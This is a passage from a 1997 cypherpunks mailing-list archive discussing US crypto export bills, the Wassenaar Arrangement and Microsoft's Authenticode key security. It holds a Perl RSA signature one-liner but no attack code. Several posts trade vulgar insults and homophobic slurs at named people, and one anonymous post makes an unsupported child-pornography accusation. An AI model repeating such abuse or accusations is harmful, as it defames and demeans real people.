"export" as, roughly, providing software to non-US persons, and (c)
Pro-CODE only allows "generally available, as is, and designed for
installation by the user" software to be exported. So it still won't be
legal for a US person to work collaboratively with a foreigner on
development (even if the development took place in a public forum, like
sci.crypt, the intermediate drafts probably wouldn't be "designed for
installation by the user"), nor for a US person to write crypto for
internal corporate use, or to share crypto code with friends overseas
without making a public release.  


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From iverson at usa.net  Wed Mar  5 07:10:18 1997
From: iverson at usa.net (Casey Iverson)
Date: Wed, 5 Mar 1997 07:10:18 -0800 (PST)
Subject: Master of disinformation
Message-ID: <3.0.16.19970305100108.41b716f6@pop.netaddress.com>


The rather large mass of Russian dung  a.k.a. Dr.Dimitri Vulis KOTM wrote

>> John Gilmore lied.

Consider the irony of the Russian slime ball master of disinformation
(probably trained by the KGB),
calling someone *else* a liar.






From gbroiles at netbox.com  Wed Mar  5 07:45:29 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Wed, 5 Mar 1997 07:45:29 -0800 (PST)
Subject: ECPA/1997: the other shoe?
Message-ID: <3.0.1.32.19970305075144.00727e54@mail.io.com>



I've seen discussion on various lists and in the media about the reissue of
Sen. Burns' Pro-CODE bill (S. 377); I was poking around thomas.loc.gov for
information about S. 377 and ran across S. 376, introduced by Sen. Leahy,
the "Encrypted Communications Privacy Act of 1997", which implements a lot
of legislation that cypherpunks types have been speculating about for
several years now.

I couldn't find an easily-accessible version of the bill's text on thomas,
so I cobbled one together from the online version of the Congressional
Register. It's located at <http://www.io.com/~gbroiles/ecpa1997.html>. I
HTML-ized it in a hurry, so please rely on the official version when one
becomes available. 

I haven't had a chance to go over it in detail, but it purports to do these
things:

Makes the use of any cryptosystem in the US, or by US persons on foreign
soil, legal;

Prohibits the implementation of mandatory key escrow

Establishes standards and procedures under which key escrow agents may
release escrowed keys (including criminalizing wrongful release and
wrongful failure to release pursuant to court order/other authorization)

Criminalizes the willful use of encryption to obstruct justice

Confirms that it is legal to sell any cryptosystem within the US 

Sets standards for the release of keys to foreign governments

I'll post a more detailed summary later when I've had a chance to go over
the bill more carefully.
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From gbroiles at netbox.com  Wed Mar  5 08:11:56 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Wed, 5 Mar 1997 08:11:56 -0800 (PST)
Subject: Wassenaar Arrangement
Message-ID: <3.0.1.32.19970305081729.006eb4bc@mail.io.com>



Has anyone had any luck finding the actual text of the Wassenaar
Arrangement? The Arms Control & Disarmament Agency has a summary/factsheet
available on its web site (mirrored, I believe, on JYA's web site) but I
haven't been able to find a copy of the actual text. I spoke with someone
this morning at the ACDA who said that the actual text "has not been
released by our government" and that to his knowledge it had not been
publicly released by any government. I'm faxing a FOIA request to their
legal folks this morning (talked to someone in their general counsel's
office who said he wasn't sure if it was available via FOIA or not) but I
suspect I won't get it.

Has anyone actually seen the text of the thing? 

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From dlv at bwalk.dm.com  Wed Mar  5 08:28:01 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Mar 1997 08:28:01 -0800 (PST)
Subject: Having the smarts to retire early
In-Reply-To: <v03007802af428d263c48@[207.167.93.63]>
Message-ID: <c5J43D1w165w@bwalk.dm.com>


"Timothy C. May" <tcmay at got.net> writes:

> I never reply to these 'bot-generated things, but this one really does
> crack me up:
> 
> At 9:48 PM +0100 3/4/97, Anonymous wrote:
> >Timothy C[retin] May is another loser who pays for got.net
> >because he lacks the mental capacity to gain net access as
> >a perk of either employment or academic achievment.
> >
> >          ,,,
> >         ($ $)
> >     -ooO-(_)-Ooo- Timothy C[retin] May
> 
> 
> An alternate interpretation: that I had the smarts to make enough money to
> retire at age 34 for the rest of my life. Being that I'm now into my 11th
> year of said retirement, I'd say paying $20 a month to got.net for
> unlimited usage is a lot better deal than either "employment" or "academic"
> subsidy. I'd even pay $100 a month, if that was my only choice, to ensure
> freedom from the constraints and disclaimers forced upon corporate and even
> academic users.
> 
> Oh, and my first "academic" Net connection, modulo the Net not being very
> advanced or usable in those days, was in 1973.
> 
> --Tim May

I feel sorry for Tim May.  He's so bored, he reads 'bot fodder.
I suppose he studies the bounce messages from mailer deamons too.

WARNING: COCKSUCKER JOHN GILMORE IS FORBIDDEN TO REDISTRIBUTE MY E-MAIL FROM
ANY MAILING LIST ON HIS TOAD.COM COMPUTER.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From jya at pipeline.com  Wed Mar  5 09:11:50 1997
From: jya at pipeline.com (John Young)
Date: Wed, 5 Mar 1997 09:11:50 -0800 (PST)
Subject: ECPA/1997: the other shoe?
Message-ID: <1.5.4.32.19970305170449.00731050@pop.pipeline.com>


Thanks for pointing this. We got a TXT version from GPO Access
and put it at:

   http://jya.com/s376.txt

With a link to your HTML.

On Waasenaar, we've written a few folks about finding a full copy, but
so far the word is the same as State's: none has been publically released.
Hope you get it.

When the pact was first discussed at State a recorder transcribed 
"Vasinor (phonetic)," so that term might turn up in searches.

As you noted, for those interested, we've put a few Waasenaar docs at:

   http://jya.com/acda.htm

Back to your FOIA to CIA, and the Agency's referral to FCC: I wonder if 
there might not be something to that lead. As you must know, the legislation 
covering national telecommunications security puts the FCC in the center 
of infowehr C4I. Excuse this cite to a pro citer, the NatSec Telecomm 
leg is at:

  http://jya.com/47cfr2.htm

This might support the CIA's intel that FCC is the chokepoint for CPI for
the IC.







From toto at sk.sympatico.ca  Wed Mar  5 09:32:14 1997
From: toto at sk.sympatico.ca (Toto)
Date: Wed, 5 Mar 1997 09:32:14 -0800 (PST)
Subject: Microsoft Authenticode key security
In-Reply-To: <331e62b2.3884779@library.airnews.net>
Message-ID: <331DAAC8.D2E@sk.sympatico.ca>


Greg Broiles wrote:
> >From: "Bob Atkinson (Exchange)" <bobatk at EXCHANGE.MICROSOFT.com>
> >Subject: Comments and corrections regarding Authenticode
> >
> >For those curious: at the present time, the private keys with which
> >Microsoft signs code that it publishes are managed inside BBN SafeKeyper
> >boxes housed in a guarded steel and concrete bunker. Even were a SafeKeyper
> >to somehow be physically stolen, these cool little boxes have several
> >elaborate internal defenses designed to have the box destroy itself rather
> >than compromise its keys.

  Bob fails to mention, however, that, as a backup system, the keys are 
also written on pieces of masking tape attached to the underside of
his keyboard.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html






From bobatk at EXCHANGE.MICROSOFT.com  Wed Mar  5 09:36:26 1997
From: bobatk at EXCHANGE.MICROSOFT.com (Bob Atkinson (Exchange))
Date: Wed, 5 Mar 1997 09:36:26 -0800 (PST)
Subject: Microsoft Authenticode key security
Message-ID: <7D9A01DBBFD5CF11AD0F0000F8411F8A42697E@ROADKILL>


Actually, and sort of to the point, no, the keys never actually ever the
BBN box, except as part of a backup procedure in which they are
extracted in a doubly-encrypted form for which for security reasons you
need the manufacturer's help in restoring.

To this day, no human or computer other than the box itself knows the
key.

	Bob

> -----Original Message-----
> From:	Toto [SMTP:toto at sk.sympatico.ca]
> Sent:	Wednesday, March 05, 1997 9:18 AM
> To:	gbroiles-nospam at netbox.com
> Cc:	cypherpunks at toad.com; Bob Atkinson (Exchange)
> Subject:	Re: Microsoft Authenticode key security
> 
> Greg Broiles wrote:
> > >From: "Bob Atkinson (Exchange)" <bobatk at EXCHANGE.MICROSOFT.com>
> > >Subject: Comments and corrections regarding Authenticode
> > >
> > >For those curious: at the present time, the private keys with which
> > >Microsoft signs code that it publishes are managed inside BBN
> SafeKeyper
> > >boxes housed in a guarded steel and concrete bunker. Even were a
> SafeKeyper
> > >to somehow be physically stolen, these cool little boxes have
> several
> > >elaborate internal defenses designed to have the box destroy itself
> rather
> > >than compromise its keys.
> 
>   Bob fails to mention, however, that, as a backup system, the keys
> are 
> also written on pieces of masking tape attached to the underside of
> his keyboard.
> -- 
> Toto
> http://bureau42.base.org/public/xenix/xenbody.html





From mpd at netcom.com  Wed Mar  5 09:49:15 1997
From: mpd at netcom.com (Mike Duvos)
Date: Wed, 5 Mar 1997 09:49:15 -0800 (PST)
Subject: Master of disinformation
In-Reply-To: <3.0.16.19970305100108.41b716f6@pop.netaddress.com>
Message-ID: <199703051747.JAA00256@netcom18.netcom.com>


Casey Iverson <iverson at usa.net> writes:

 > The rather large mass of Russian dung a.k.a. Dr.Dimitri
 > Vulis KOTM wrote

 >> John Gilmore lied.

 > Consider the irony of the Russian slime ball master of
 > disinformation (probably trained by the KGB), calling
 > someone *else* a liar.

Even a liar has to tell the truth sometimes, else he would not
be a very successful liar.  I'd trust our KOTM anyday over the
traitorous ex-cypherpunk and world-famous cocksucker John
"Hooverlips" Gilmore.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd at netcom.com     $    via Finger.                      $






From real at freenet.edmonton.ab.ca  Wed Mar  5 10:49:52 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Wed, 5 Mar 1997 10:49:52 -0800 (PST)
Subject: Having the smarts to retire early
In-Reply-To: <c5J43D1w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970305114532.55450B-100000@freenet.edmonton.ab.ca>


                                          : ab756 at freenet.toronto.on.ca


On Wed, 5 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> "Timothy C. May" <tcmay at got.net> writes:
> 
> > I never reply to these 'bot-generated things, but this one really does
> > crack me up:
> > 
> > At 9:48 PM +0100 3/4/97, Anonymous wrote:
> > >Timothy C[retin] May is another loser who pays for got.net
> > >because he lacks the mental capacity to gain net access as
> > >a perk of either employment or academic achievment.
> > >
> > >          ,,,
> > >         ($ $)
> > >     -ooO-(_)-Ooo- Timothy C[retin] May
> > 
> > 
> > An alternate interpretation: that I had the smarts to make enough money to
> > retire at age 34 for the rest of my life. Being that I'm now into my 11th
> > year of said retirement, I'd say paying $20 a month to got.net for
> > unlimited usage is a lot better deal than either "employment" or "academic"
> > subsidy. I'd even pay $100 a month, if that was my only choice, to ensure
> > freedom from the constraints and disclaimers forced upon corporate and even
> > academic users.
> > 
> > Oh, and my first "academic" Net connection, modulo the Net not being very
> > advanced or usable in those days, was in 1973.
> > 
> > --Tim May
> 
> I feel sorry for Tim May.  He's so bored, he reads 'bot fodder.
> I suppose he studies the bounce messages from mailer deamons too.
> 
> WARNING: COCKSUCKER JOHN GILMORE IS FORBIDDEN TO REDISTRIBUTE MY E-MAIL FROM
> ANY MAILING LIST ON HIS TOAD.COM COMPUTER.

Vulis keep your pervert voice off the list.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 






From aba at dcs.ex.ac.uk  Wed Mar  5 13:20:51 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Wed, 5 Mar 1997 13:20:51 -0800 (PST)
Subject: Microsoft Authenticode key security
In-Reply-To: <7D9A01DBBFD5CF11AD0F0000F8411F8A42697E@ROADKILL>
Message-ID: <199703052110.VAA00412@server.test.net>



Bob Atkinson <bobatk at microsoft.com> writes:
> Actually, and sort of to the point, no, the keys never actually ever the
> BBN box, except as part of a backup procedure in which they are
> extracted in a doubly-encrypted form for which for security reasons you
> need the manufacturer's help in restoring.
> 
> To this day, no human or computer other than the box itself knows the
> key.

Yeah, but we can always just release a patch for windows which makes
it check signatures made by "cypherpunks certification services". 

As has been noted in previous discussions of CAPI (on this list),
there is room for different competing patched key signature services:
sign anything, sign only CAPI modules which don't involve GAK (key
escrow), sign modules for which source code has been examined and
provide a degree of assurance that the module is secure.  Charges
could be made for the CAPI rating, to the module provider, and to the
users of the rating service even (with non-transferable signatures).

Also, the BBN box might be overkill considering ActiveX -- the key
could probably be patched delivered maliciously by the unsuspecting
windows user accessing a web page.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From aba at dcs.ex.ac.uk  Wed Mar  5 13:45:06 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Wed, 5 Mar 1997 13:45:06 -0800 (PST)
Subject: Wassenaar Arrangement
In-Reply-To: <3.0.1.32.19970305081729.006eb4bc@mail.io.com>
Message-ID: <199703052139.VAA00545@server.test.net>



Here's a ref Peter Gutmann provided on Wassenaar:

	http://www.sipri.se/projects/armstrade/wass_initialelements.html

No mention of crypto, probably because appendix 5 is missing:

: Appendix 5
: 
: SIPRI NOTE: Appendix 5 consists of a List of Dual-Use Goods and
: Technologies and a Munitions List. These documents will be appended
: once obtained.

Adam

-- 
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From EALLENSMITH at ocelot.Rutgers.EDU  Wed Mar  5 14:50:12 1997
From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith)
Date: Wed, 5 Mar 1997 14:50:12 -0800 (PST)
Subject: The Pro-CODE Bill could make things worse!
Message-ID: <01IG5GWYDFLG8Y5EZW@mbcl.rutgers.edu>


From:	IN%"gbroiles at netbox.com"  "Greg Broiles"  5-MAR-1997 10:04:19.81

>I don't think that Pro-CODE can be used to control the dissemination of
>remailers. The bit of Pro-CODE at issue here (section 5(c)(3)(B) "The
>Secretary shall prohibit the export or reexport of particular computer
>software and hardware *described in this subsection* to an identified
>individual or organization . . if the Secretary determines that there is
>substantial evidence that such software and computer hardware will be . .
>(iv) intentionally used to evade enforcement of US law or taxation by the
>US or by any State or local government." (emphasis added)

>I read "described in this subsection" to refer to Section 5(c), and the
>best description I can find in 5(c) of computer hardware and software is
>"computer hardware, computer software, and technology with encryption
>capabilities, except computer hardware, computer software, and technology
>that is specifically designed or modified for military use, including
>command, control, and intelligence applications", in section 5(c)(1).

>So I don't think that this creates a new ability to control the
>dissemination of non-crypto hardware or software. (The Mixmaster remailer
>software, which does include crypto, would still be controlled.) 

Umm... non-encrypting remailers aren't much use. While something could
be worked out (as for most current Type 1 remailers) allowing hooking in
PGP or whatever, I would wonder whether that would make the remailer
program itself have "encryption capabilities" - a la the "crypto hooks"
restrictions in current export regulations. This would be even more of
a problem for remailers using socket links and DH superencryption to
prevent remailer operators from being pressured to decrypt intercepted
messages.

These prohibitions would also prohibit or at least restrict export of
technologies such as decense and the anonymizer in versions (as is
preferable) using encryption, except _possibly_ (see above) those
hooking in encryption from outside. Circumstances in which such
could be used to defeat US laws include a decense server being used to
prevent the tracing of an in-US pornographic site, if (heaven forbid)
the CDA (or a lesser version, such as one requiring labeling or going
by a "harmful to minors" standard) is found constitutional.

>The prohibitions on export to named individuals and organizations will be
>effectively useless with respect to those parties getting strong crypto -
>the only utility I can see in such a clause is to be used as a club against
>domestic sympathizers/allies of unpopular groups/people abroad. It also
>seems likely to lead to yet another round of worrying about whether the
>format of a particular distribution site on the Internet is sufficiently
>configured - if ProCODE passes, instead of asking "Are you a US citizen?",
>distribution sites will ask "Are you on the list of forbidden people?" Same
>difference. 

It is rather reminiscent, yes. If, for instance, all it requires is a check
on whether the domain name indicates the _certainty_ of being from such a
country, then it won't be extremely onerous... but I'm certain that the
government will try to interpret it in the most restrictive way possible.
	-Allen





From friend at Summers.com  Wed Mar  5 15:18:58 1997
From: friend at Summers.com (friend at Summers.com)
Date: Wed, 5 Mar 1997 15:18:58 -0800 (PST)
Subject: Extra Income
Message-ID: <199703052240.RAA54154@mail1y-int.prodigy.net>


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From jimbell at pacifier.com  Wed Mar  5 17:45:32 1997
From: jimbell at pacifier.com (jim bell)
Date: Wed, 5 Mar 1997 17:45:32 -0800 (PST)
Subject: ECPA/1997: the other shoe?
Message-ID: <199703060144.RAA08671@mail.pacifier.com>


At 07:51 AM 3/5/97 -0800, Greg Broiles wrote:
>I've seen discussion on various lists and in the media about the reissue of
>Sen. Burns' Pro-CODE bill (S. 377); I was poking around thomas.loc.gov for
>information about S. 377 and ran across S. 376, introduced by Sen. Leahy,
>the "Encrypted Communications Privacy Act of 1997", which implements a lot
>of legislation that cypherpunks types have been speculating about for
>several years now.
[snip]
>I haven't had a chance to go over it in detail, but it purports to do these
>things:
>Makes the use of any cryptosystem in the US, or by US persons on foreign
>soil, legal;

Which is somewhat illogical, because if we assume that things are legal 
until made illegal, and there is no illegal cryptosystem, that means that no 
bill can "make the use of any cryptosystem legal."

(I understand, of course, that you may simply be saying that the bill 
pretends to do it...)


>Prohibits the implementation of mandatory key escrow

Again, somewhat of a non-issue, wouldn't you say?  What with the 1st 
amendment, the government would have an enormous uphill battle to make key 
escrow mandatory anyway.


>Establishes standards and procedures under which key escrow agents may
>release escrowed keys (including criminalizing wrongful release and
>wrongful failure to release pursuant to court order/other authorization)

Key escrow agents (to the extent they currently exist and will exist in the 
future) are presumably entitled to contract with their customers whatever 
conditions and terms their customers desire.  If that DOESN'T include 
sharing the key with the government, as far as I know that's entirely 
legitimate.  ("impairment of contracts.") Also, I see no reason to believe 
that those agents will necessarily have copies of the keys in unencrypted 
form, useable by the government.  


>Criminalizes the willful use of encryption to obstruct justice

Which, as Tim May points out, could imply practically any useage of crypto 
with the "appropriate" misinterpretation on the part of government, 
particularly encrypted remailers.  Just what the Leahy bill last year 
appeared to be intended to do.


>Confirms that it is legal to sell any cryptosystem within the US 

Again, that's unnecessary and redundant.

>Sets standards for the release of keys to foreign governments


>
>I'll post a more detailed summary later when I've had a chance to go over
>the bill more carefully.

What we should be particularly suspicious of is any differnces between last 
year's bill and this year's.  Somehow I doubt we'll see any desireable 
change; all the changes will be bad.


Jim Bell
jimbell at pacifier.com





From take at barrier-free.co.jp  Wed Mar  5 17:46:05 1997
From: take at barrier-free.co.jp (Hayashi_Tsuyoshi)
Date: Wed, 5 Mar 1997 17:46:05 -0800 (PST)
Subject: Wassenaar Arrangement
In-Reply-To: <199703052139.VAA00545@server.test.net>
Message-ID: <199703060144.KAA27507@ns.barrier-free.co.jp>


On Wed, 5 Mar 1997 21:39:54 GMT, Adam Back said:
 >Here's a ref Peter Gutmann provided on Wassenaar:
 >
 >	http://www.sipri.se/projects/armstrade/wass_initialelements.html
 >
 >No mention of crypto, probably because appendix 5 is missing:

There is my hand writting memo of (a part of, not full)
appendix 5.  If no one say URLs for appendix 5, I will
upload it here.

///hayashi





From dlv at bwalk.dm.com  Wed Mar  5 18:30:42 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Mar 1997 18:30:42 -0800 (PST)
Subject: Master of fellatio
In-Reply-To: <3.0.16.19970305100108.41b716f6@pop.netaddress.com>
Message-ID: <L1343D1w165w@bwalk.dm.com>


Casey Iverson <iverson at usa.net> writes:

> The rather large mass of Russian dung  a.k.a. Dr.Dimitri Vulis KOTM wrote
> 
> >> John Gilmore lied.
> 
> Consider the irony of the Russian slime ball master of disinformation
> (probably trained by the KGB),
> calling someone *else* a liar.
> 

There were plenty of good cryptographers working for the KGB.
I had the pleasure of meeting a few in persons and communicating
with many others.
Filthy lying cocksucker John Gilmore is not worthy to suck their dicks.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Wed Mar  5 18:30:44 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Mar 1997 18:30:44 -0800 (PST)
Subject: Microsoft Authenticode key security
In-Reply-To: <7D9A01DBBFD5CF11AD0F0000F8411F8A42697E@ROADKILL>
Message-ID: <L0c53D131w165w@bwalk.dm.com>


"Bob Atkinson (Exchange)" <bobatk at EXCHANGE.MICROSOFT.com> writes:

> Actually, and sort of to the point, no, the keys never actually ever the
> BBN box, except as part of a backup procedure in which they are
> extracted in a doubly-encrypted form for which for security reasons you
> need the manufacturer's help in restoring.
>
> To this day, no human or computer other than the box itself knows the

But do we necessarily believe what Microsoft people say?

Dimitri "bought OS/2 1.0 from Microsoft" Vulis

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Wed Mar  5 18:33:31 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Mar 1997 18:33:31 -0800 (PST)
Subject: Having the smarts to retire early
In-Reply-To: <Pine.A41.3.95.970305114532.55450B-100000@freenet.edmonton.ab.ca>
Message-ID: <ukF53D134w165w@bwalk.dm.com>


Graham-John Bullers <real at freenet.edmonton.ab.ca> writes:

>                                           : ab756 at freenet.toronto.on.ca
>
>
> On Wed, 5 Mar 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > "Timothy C. May" <tcmay at got.net> writes:
> >
> > > I never reply to these 'bot-generated things, but this one really does
> > > crack me up:
> > >
> > > At 9:48 PM +0100 3/4/97, Anonymous wrote:
> > > >Timothy C[retin] May is another loser who pays for got.net
> > > >because he lacks the mental capacity to gain net access as
> > > >a perk of either employment or academic achievment.
> > > >
> > > >          ,,,
> > > >         ($ $)
> > > >     -ooO-(_)-Ooo- Timothy C[retin] May
> > >
> > >
> > > An alternate interpretation: that I had the smarts to make enough money t
> > > retire at age 34 for the rest of my life. Being that I'm now into my 11th
> > > year of said retirement, I'd say paying $20 a month to got.net for
> > > unlimited usage is a lot better deal than either "employment" or "academi
> > > subsidy. I'd even pay $100 a month, if that was my only choice, to ensure
> > > freedom from the constraints and disclaimers forced upon corporate and ev
> > > academic users.
> > >
> > > Oh, and my first "academic" Net connection, modulo the Net not being very
> > > advanced or usable in those days, was in 1973.
> > >
> > > --Tim May
> >
> > I feel sorry for Tim May.  He's so bored, he reads 'bot fodder.
> > I suppose he studies the bounce messages from mailer deamons too.
> >
> > WARNING: COCKSUCKER JOHN GILMORE IS FORBIDDEN TO REDISTRIBUTE MY E-MAIL FRO
> > ANY MAILING LIST ON HIS TOAD.COM COMPUTER.
>
> Vulis keep your pervert voice off the list.

I'm not sending anything to cypherpunks at toad.com and in fact I don't
want the lying, thieving cocksucker John Gilmore to redistribute any
of my writings via any mailing list at toad.com.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From jya at pipeline.com  Wed Mar  5 18:42:39 1997
From: jya at pipeline.com (John Young)
Date: Wed, 5 Mar 1997 18:42:39 -0800 (PST)
Subject: Secrecy Report
Message-ID: <1.5.4.32.19970306023549.0074e394@pop.pipeline.com>


The "Report of the Commission on Protecting and Reducing
Government Secrecy," boosted in the NY Times today is 
available in PDF format at:

   http://www.access.gpo.gov/congress/commissions/secrecy/index.html

It criticizes government's unwarranted use of secrecy as a means of control.

The main report is 155 pages long with appendices of 120 pages, including
a history of the abuse of secrecy in the NatSec era. It also has a section on 
"Information Insecurity" which addresses impending moves by the gov to
deal with threats to the Racketeer-Influenced "if you knew what we 
know" Criminal Org.

The NYT report and editorial is at:

   http://jya.com/newsec.htm







From stewarts at ix.netcom.com  Wed Mar  5 19:18:20 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 5 Mar 1997 19:18:20 -0800 (PST)
Subject: The Pro-CODE Bill could make things worse!
In-Reply-To: <199703030817.AAA24224@you.got.net>
Message-ID: <3.0.1.32.19970305181923.0062b098@popd.ix.netcom.com>


At 06:44 AM 3/5/97 -0800, Greg Broiles wrote:
>"Exports. The publisher or manufacturer of computer software or 
>hardware with encryption capabilities shall disclose (for reporting 
>purposes only) within 30 days after export to the Secretary such 
>information regarding a program's or product's encryption capabilities 
>as would be required for an individual license to export that program 
>or product." 
>
>The former has no real force, as "findings" aren't enforceable, but are
>intended for use by courts who are interpreting or construing a statute.
>But I don't see a technical reason why the latter wouldn't be enforceable.
>(Modulo the First Amendment, of course.) 

Can it be construed as a "taking"?  (Or was that just an "excise tax",
payable in intellectual property rather than in money?)
Unless the information required for an individual license is 
substantially less under the New Regime than under the Ancien' Regime,
they're asking for a lot of information - in the past, it's included
source code, documentation, etc., as well as customer data.
What restrictions are there on government use of this information apply?
State governments, e.g. California, have a history of ripping off
copyright and refusing to accept lawsuits against themselves -
can the Feds do the same?  Maybe they can't refuse to let you export
any more, but can they threaten to publish your source code on
http://www.dockmaster.mil/warez/ if you don't do what they want?....




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From declan at pathfinder.com  Wed Mar  5 19:32:02 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Wed, 5 Mar 1997 19:32:02 -0800 (PST)
Subject: Wassenaar Arrangement
In-Reply-To: <199703060144.KAA27507@ns.barrier-free.co.jp>
Message-ID: <Pine.GSO.3.95.970305222550.8248D-100000@cp.pathfinder.com>


I've asked a friend at the State Department to send me a copy of the
Arrangement. I'll forward it if it appears in my inbox.

I also talked a little about the Wassenaar Arrangement, or at least
Japan's interpretation of it, in a Netly article in late October. Check
out http://netlynews.com/ in the Politics archive. 

-Declan


On Thu, 6 Mar 1997, Hayashi_Tsuyoshi wrote:

> On Wed, 5 Mar 1997 21:39:54 GMT, Adam Back said:
>  >Here's a ref Peter Gutmann provided on Wassenaar:
>  >
>  >	http://www.sipri.se/projects/armstrade/wass_initialelements.html
>  >
>  >No mention of crypto, probably because appendix 5 is missing:
> 
> There is my hand writting memo of (a part of, not full)
> appendix 5.  If no one say URLs for appendix 5, I will
> upload it here.
> 
> ///hayashi
> 






From take at barrier-free.co.jp  Wed Mar  5 21:02:32 1997
From: take at barrier-free.co.jp (Hayashi_Tsuyoshi)
Date: Wed, 5 Mar 1997 21:02:32 -0800 (PST)
Subject: Wassenaar Arrangement
In-Reply-To: <Pine.GSO.3.95.970305222550.8248D-100000@cp.pathfinder.com>
Message-ID: <199703060447.NAA28194@ns.barrier-free.co.jp>


On Wed, 5 Mar 1997 22:30:35 -0500 (EST), Declan McCullagh said:
 >I've asked a friend at the State Department to send me a copy of the
 >Arrangement. I'll forward it if it appears in my inbox.

Oh, Lucky.  I'm looking forward to seeing it.

 >I also talked a little about the Wassenaar Arrangement, or at least
 >Japan's interpretation of it, in a Netly article in late October. Check
 >out http://netlynews.com/ in the Politics archive. 

I will read and study it.  Thanks.

///hayashi





From mixmaster at remail.obscura.com  Wed Mar  5 21:30:57 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Wed, 5 Mar 1997 21:30:57 -0800 (PST)
Subject: No Subject
Message-ID: <199703060336.TAA13790@sirius.infonex.com>


Embedded in Tim C. Maypole's babblings are 
preposterous lies, wild distortions, child 
pornography (both as graphic descriptions 
and in JPEG format), ethnic slurs, and 
racial epithets.

      o      o o o   o
     /~>    <><><>   <> Tim C. Maypole
  o...(\    ||||||   ||






From roach_s at alph.swosu.edu  Wed Mar  5 21:32:37 1997
From: roach_s at alph.swosu.edu (Sean Roach)
Date: Wed, 5 Mar 1997 21:32:37 -0800 (PST)
Subject: Having the smarts to retire early
Message-ID: <199703060530.VAA00700@toad.com>


At 11:47 AM 3/5/97 -0700, Graham-John Bullers wrote:
>
>On Wed, 5 Mar 1997, Dr.Dimitri Vulis KOTM wrote:
...
>> I feel sorry for Tim May.  He's so bored, he reads 'bot fodder.
>> I suppose he studies the bounce messages from mailer deamons too.
>> 
>> WARNING: COCKSUCKER JOHN GILMORE IS FORBIDDEN TO REDISTRIBUTE MY E-MAIL FROM
>> ANY MAILING LIST ON HIS TOAD.COM COMPUTER.
>
>Vulis keep your pervert voice off the list.

I don't know which person I dispise more.  The person unjustly slandering
another for any reason.  Or the person telling him that he has no right to
an open forum.  No, I take that back.  I'd rather have ten foulmouthed text
wizards dragging my name through the mud, with my self to defend my name as
opposed to even one person declaring that they leave "for the public good".
As for argument, I have no problem with arguing, so long as neither tells
the other to "get lost" so everyone else can have some peace and quiet.






From stewarts at ix.netcom.com  Wed Mar  5 21:57:07 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 5 Mar 1997 21:57:07 -0800 (PST)
Subject: Ming-Ching Tiew's crypto programs
Message-ID: <3.0.1.32.19970305215435.0063f538@popd.ix.netcom.com>


Ming-Ching Tiew <mctiew at csi.po.my> posted the following article to
sci.crypt.  Aside from its content being interesting, it poses
an interesting set of problems for ITAR proponents (:-) -
he's Malaysian, working from Malaysia, but his web page is on a 
US-located free-web-page server.  Some of the code on it is
marked US-only; other code is world-readable and on a machine in Germany.

=======================================================================
Subject: 	Cryptlib-based Win32 File Encryptor
Date:    	Tue, 04 Mar 1997 21:01:28 -0800
From: 	Ming-Ching Tiew <mctiew at csi.po.my>
Organization:	Unconfigured
Newsgroups:	alt.security.pgp, sci.crypt, comp.security.pgp.discuss


Here at which you look for my Win32 File Encryptor
which uses "Cryptlib" :-

  http://www.geocities.com/SiliconValley/Heights/8298

The program is provided in source and binary. Non-US 
people should follow the re-direct and get it from 
the non-US site.

Some of the highlites ( all crypto-features derived from 
Cryptlib, credit to Peter Gutmann ),

(1) You don't use PGP for encryption and decryption.
    PGP is only used for Key Management.

(2) This is not a shell.

